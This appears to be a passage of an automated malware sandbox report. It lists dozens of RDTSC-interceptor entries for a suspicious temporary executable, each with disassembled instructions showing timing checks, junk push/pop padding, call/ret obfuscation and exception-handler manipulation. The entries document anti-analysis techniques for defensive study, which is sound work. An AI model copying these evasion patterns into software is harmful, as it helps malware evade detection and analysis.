Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 311366 second address: 31136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 311430 second address: 311435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3114D0 second address: 3114E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F1873h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31371D second address: 31372F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDCFD229Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3141A9 second address: 3141AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 316E43 second address: 316EF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7FDCFD229Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D2273h] 0x00000018 jbe 00007F7FDCFD22AEh 0x0000001e jmp 00007F7FDCFD22A8h 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F7FDCFD2298h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f call 00007F7FDCFD22A0h 0x00000044 pop edi 0x00000045 pushad 0x00000046 adc esi, 3CBBE3E1h 0x0000004c mov dword ptr [ebp+122D19FFh], edi 0x00000052 popad 0x00000053 xchg eax, ebx 0x00000054 push edi 0x00000055 pushad 0x00000056 jmp 00007F7FDCFD22A8h 0x0000005b push eax 0x0000005c pop eax 0x0000005d popad 0x0000005e pop edi 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 316EF1 second address: 316EFB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7FDD3F1866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 319484 second address: 31948E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 319A6E second address: 319B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+124533DCh], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F7FDD3F1868h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F7FDD3F1868h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D2B5Bh], ecx 0x0000004e mov ebx, dword ptr [ebp+122D3C81h] 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 jmp 00007F7FDD3F1873h 0x0000005b jmp 00007F7FDD3F186Ch 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F7FDD3F1876h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31AB32 second address: 31AB3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31AB3C second address: 31AB9F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 adc di, 7600h 0x0000000d push 00000000h 0x0000000f xor edi, 62AD5CCBh 0x00000015 push 00000000h 0x00000017 mov bx, 9500h 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d jmp 00007F7FDD3F1878h 0x00000022 jo 00007F7FDD3F186Ch 0x00000028 jno 00007F7FDD3F1866h 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 pushad 0x00000032 jng 00007F7FDD3F1866h 0x00000038 jmp 00007F7FDD3F1873h 0x0000003d popad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31AB9F second address: 31ABA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31BBAD second address: 31BBB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 312F15 second address: 312F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31CC3C second address: 31CC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31ED1B second address: 31ED1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31ED1F second address: 31ED37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 315583 second address: 3155A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F7FDCFD22A4h 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F7FDCFD2296h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 323A9E second address: 323AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3249B4 second address: 3249CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD22A4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3249CD second address: 3249D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3249D3 second address: 3249D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 325B14 second address: 325B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 325B25 second address: 325B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 326B32 second address: 326B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 326B36 second address: 326B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31CD83 second address: 31CD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31DE47 second address: 31DE4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31BE6A second address: 31BE9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7FDD3F1879h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31EF36 second address: 31EF60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F7FDCFD2296h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F7FDCFD22A3h 0x00000015 ja 00007F7FDCFD2296h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31DE4D second address: 31DEC0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7FDD3F186Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D19F2h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jo 00007F7FDD3F186Bh 0x00000020 pushad 0x00000021 movzx edi, di 0x00000024 popad 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c call 00007F7FDD3F1873h 0x00000031 mov dword ptr [ebp+122D2C2Bh], esi 0x00000037 pop edi 0x00000038 mov eax, dword ptr [ebp+122D0281h] 0x0000003e sub dword ptr [ebp+122D27D6h], esi 0x00000044 push FFFFFFFFh 0x00000046 mov bx, 738Fh 0x0000004a nop 0x0000004b jmp 00007F7FDD3F186Ch 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 327CA1 second address: 327CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31CE83 second address: 31CE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31DEC0 second address: 31DEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 31DEC5 second address: 31DECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 316BEA second address: 316BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 322C70 second address: 322CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F7FDD3F1868h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov ebx, ecx 0x00000023 sbb bl, FFFFFFC4h 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov ebx, 0AF08114h 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov edi, dword ptr [ebp+122D3C19h] 0x0000003f mov eax, dword ptr [ebp+122D0BBDh] 0x00000045 mov dword ptr [ebp+122D1D25h], eax 0x0000004b push FFFFFFFFh 0x0000004d pushad 0x0000004e mov esi, dword ptr [ebp+122D205Ah] 0x00000054 sbb cx, 4B86h 0x00000059 popad 0x0000005a xor dword ptr [ebp+122D2B4Fh], eax 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jns 00007F7FDD3F1866h 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 323C4D second address: 323CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122DBB9Eh], edi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F7FDCFD2298h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D1D87h], ecx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov dword ptr [ebp+122DBB9Eh], ecx 0x00000043 mov eax, dword ptr [ebp+122D06A1h] 0x00000049 or dword ptr [ebp+122D2235h], edi 0x0000004f push FFFFFFFFh 0x00000051 jmp 00007F7FDCFD22A7h 0x00000056 nop 0x00000057 jmp 00007F7FDCFD22A2h 0x0000005c push eax 0x0000005d je 00007F7FDCFD22A2h 0x00000063 jns 00007F7FDCFD229Ch 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 324B7A second address: 324B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 325CD8 second address: 325CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7FDCFD2296h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 316BEE second address: 316BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2D7E8E second address: 2D7E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 ja 00007F7FDCFD2296h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 326D90 second address: 326DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F7FDD3F1879h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 322CE7 second address: 322CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 325CE7 second address: 325CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 316BF4 second address: 316BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7FDCFD2296h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 322CEC second address: 322CF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 32A236 second address: 32A23A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 32D824 second address: 32D828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33297C second address: 332982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 332982 second address: 3329A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7FDD3F1872h 0x0000000c js 00007F7FDD3F1866h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2C56D1 second address: 2C56D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2C56D7 second address: 2C56DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2C56DB second address: 2C56ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7FDCFD229Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2C56ED second address: 2C56F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3325BF second address: 3325D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7FDCFD2296h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 336844 second address: 3368C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1872h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jg 00007F7FDD3F1866h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 jo 00007F7FDD3F1868h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jnp 00007F7FDD3F186Ch 0x00000028 pushad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b push eax 0x0000002c pop eax 0x0000002d popad 0x0000002e mov eax, dword ptr [eax] 0x00000030 pushad 0x00000031 jo 00007F7FDD3F187Ch 0x00000037 jmp 00007F7FDD3F1876h 0x0000003c jmp 00007F7FDD3F1878h 0x00000041 popad 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3368C0 second address: 3368C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 327E51 second address: 327E77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1872h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7FDD3F186Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 327F06 second address: 327F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 327F0A second address: 327F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 32A41E second address: 32A4C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F7FDCFD2296h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e jmp 00007F7FDCFD22A6h 0x00000013 or eax, 7036AAF5h 0x00000019 popad 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F7FDCFD2298h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov edi, edx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov eax, dword ptr [ebp+122D0EA9h] 0x0000004a or ebx, dword ptr [ebp+122D3C51h] 0x00000050 push FFFFFFFFh 0x00000052 push edx 0x00000053 call 00007F7FDCFD22A6h 0x00000058 mov dword ptr [ebp+122D1912h], eax 0x0000005e pop edi 0x0000005f pop edi 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F7FDCFD22A8h 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CCD8 second address: 33CCDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CE2F second address: 33CE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7FDCFD22A9h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F7FDCFD22A7h 0x00000013 jmp 00007F7FDCFD229Ah 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CFD3 second address: 33CFDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CFDE second address: 33CFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CFE3 second address: 33CFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CFE9 second address: 33CFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33CFED second address: 33CFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D15B second address: 33D15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D15F second address: 33D163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D163 second address: 33D169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D169 second address: 33D1A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1873h 0x00000007 pushad 0x00000008 jmp 00007F7FDD3F1876h 0x0000000d jmp 00007F7FDD3F186Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D5D5 second address: 33D5F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F7FDCFD229Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 33D5F9 second address: 33D5FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342E5C second address: 342E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
